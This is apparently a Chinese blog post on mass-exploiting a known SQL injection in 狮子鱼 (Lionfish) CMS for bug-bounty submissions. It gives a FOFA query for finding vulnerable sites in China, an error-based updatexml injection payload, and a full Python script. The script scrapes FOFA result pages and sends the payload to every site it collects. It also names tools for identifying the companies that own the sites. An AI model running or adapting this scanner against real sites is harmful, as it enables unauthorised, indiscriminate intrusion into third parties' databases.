既然自己挖不到洞，那就去批量刷点现成的洞以狮子鱼的sql注入为例fofa语句"/seller.php?s=/Public/login"poc/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)本来是想用调用fofa的api进行批量检测，结果发现普通注册会员不能调api行吧，那只能用爬虫来获取了原本以为挺简单的，很快写完，结果硬是搞了两个晚上，太菜了，呜呜呜。。。脚本# -*- coding: utf-8 -*- ''' @File: fofaCrawler.py @Time: 2022/05/19 22:22:02 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import requests import base64 import urllib3 import re urllib3.disable_warnings() #忽略https证书告警 grammar = '"seller.php?s=/Public/login" && country="CN" && is_domain=true' qbase64 = base64.b64encode(grammar .encode("utf-8")) headers = { 'Host': 'fofa.info', 'Upgrade-Insecure-Requests': '1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47', 'cookie': 'xxx' } url = "https://fofa.info/result?qbase64={}&page={}&page_size={}" def select(): urlList = [] for page in range(1,6): selectUrl = url.format(str(qbase64,"utf-8"),page,10) req = requests.get(url=selectUrl, headers=headers) req.encoding = "utf-8" urlList = urlList + re.findall('.*?target="_blank">(.*)',req.text[275000:]) for finurl in urlList: print(finurl) SqlInject(urlList) def SqlInject(urlList): for url in urlList: url = url + '/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)' if 'http' not in url: url = 'http://' + url print("******************************") print("正在测试" + url) try: req = requests.get(url,verify=False) except: continue if 'syntax' in req.text: print("*此地址存在sql注入" + url) print("******************************") if __name__ == '__main__': select() 需要注意的是fofa页面的开头有一段巨长的样式，严重影响正则匹配速度，在获取返回结果时需要截取后面部分最后查找网站备案，查找企业名称、信息啥的ICP备案查询 - 站长工具 爱企查首页参考论萌新的SRC是如何提交100+的漏洞--狮子鱼SQLyyds漏洞挖掘SRC-狮子鱼CMS-SQL注入